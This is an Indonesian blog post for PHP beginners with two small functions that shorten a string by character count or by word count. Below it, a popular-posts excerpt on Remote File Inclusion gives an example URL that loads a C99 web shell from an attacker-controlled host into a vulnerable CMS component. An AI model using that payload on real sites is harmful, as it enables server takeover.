Langsung ke konten utama

[Newbie Trick] Memotong kata dan memotong karakter string dalam PHP

Fungsi ini mungkin suatu ketika diperlukan untuk pembuatan sebuah Content Management System, dimana biasanya tampilan list awal sebuah website tidak menampilkan seluruh artikel, melainkan potongan artikel.

Kali ini saya akan berbagi trik untuk memotong string per kata atau per karakter..

1. Fungsi untuk memotong string per karakter

Untuk memotong string per karakter bisa digunakan fungsi PHP sub_str
berikut contohnya :


function limitChar($content, $limit) {
        if (strlen($content) <= $limit) {
            return $content;
        } else {
            $hasil = substr($content, 0, $limit);
            return $hasil . "...";
        }
    }

Fungsi diatas akan memotong $content sesuai dengan $limit yang diberikan.
Jika panjang $content kurang dari atau sama dengan $limit maka fungsi tersebut akan mengembalikan string $content. Jika panjang $content lebih dari $limit maka hasilnya adalah $limit karakter terdepan dari $content ditambah tiga karakter "." (titik) di belakangnya.

contoh penggunaan

$content = 'Ini adalah contoh string';
echo limitChar($content,3);

akan menghasilkan output:
Ini...

2. Memotong string per kata

Untuk memotong sebuah string per kata, yang dilakukan pertama adalah menjadikan string tersebut sebagai array, dengan cara explode karakter spasi dari string tersebut. untuk lebih jelasnya bisa dilihat pada function berikut :


function limitWord($string, $word_limit) {
        $words = explode(" ", $string);
        return implode(" ", array_splice($words, 0, $word_limit));
    }

contoh penggunaan :



$content = 'Ini adalah contoh string';
echo limitWord($content,3);

akan menghasilkan output:
Ini adalah contoh

Salam hangat

Prastowo aGung Widodo

Komentar

Posting Komentar

Postingan populer dari blog ini

List RFI Bug Dork

Khusus buat newbie. Apa itu RFI?? RFI atau Remote File Inclusion adalah salah satu metode hacking dengan menginclude file. Tool yang sering dipakai adalah C99 shell injection atau R57 shell injection. Metodenya sangat sederhana. Ketika kita sudah mendapatkan target, kita hanya perlu menginclude file C99 atau R57 nya. sebagai contoh: kita mempunyai target http://domain-name.com/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path= maka disini kita include file c99 nya, menjadi http://domain-name.com/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=http://domain-kita.com/c99.txt Jika berhasil maka kita akan dapat masuk ke dalam server target dengan c99 shell berikut beberapa list RFI Bug Dork. Ini hanya sekedar informasi, jadi bagi yang merasa memakai CMS dengan module-module yang masuk dalam list berikut, segera update module nya atau segera perbaiki bugs nya. Semoga bermanfaat. =====================

Format tanggal otomatis menggunakan javascript

Biasanya pada aplikasi-aplikasi php yang kita buat seringkali harus merubah dari format tanggal mysql ke format tanggal yang sesuai dengan keinginan kita. contohnya: <div>     <?php echo date('d F Y', strtotime($row['mysql_date'])); ?> </div> Nah kita bisa persingkat kode kita dengan menyisipkan sedikit javascript dan biarkan browser yang memprosesnya :) Pertama-tama yang kita butuhkan adalah: 1. jQuery 2. Moment JS <script type="text/javascript" src="path to jquery.js"></script> <script type="text/javascript" src="path to moment.js"></script> <script type="text/javascript"> if($('.format-date').length > 0){         $('.format-date').each(function(){             var ini = $(this);             var tgl = ini.text();             //moment.locale('id');             if(moment(tgl,'YYYY-MM-DD',true).isValid() || moment(tgl,&

Install Multiple PHP di Ubuntu 16.04

Terkadang saya membutuhkan versi PHP yang berbeda untuk beberapa project. Waktu di Ubuntu 14.04 saya masih bisa menggunakan versi PHP bawaan Ubuntu, waktu itu versi 5.5 namun setelah upgrade ke Ubuntu 16.04, ada sedikit masalah karena bawaan Ubuntu 16.04 menggunakan PHP versi 7.0 dimana beberapa project tidak bisa berjalan dengan baik di PHP 7. Akhirnya untuk mengatasi masalah berikut, jalan satu-satunya adalah mengcompile sendiri PHP versi 5.x di Ubuntu 16.04.  Saya sengaja compile dua versi PHP, 5.5 dan 5.6 untuk jaga-jaga kalau ternyata script tidak berjalan di PHP 5.6, saya bisa menggunakan versi 5.5. Beberapa artikel di Internet menyarankan untuk menggunakan fast-cgi agar bisa menjalankan banyak versi PHP sekaligus, namun karena spesifikasi laptop saya yang rendah, saya lebih menggunakan versi CLI dengan membuat PHP Switcher. Bagi temen-temen yang ingin menggunakan versi build PHP 5.5 dan 5.6 yang saya gunakan di Ubuntu 16.04 bisa menambahkan ppa:agungwidodo/tphp di source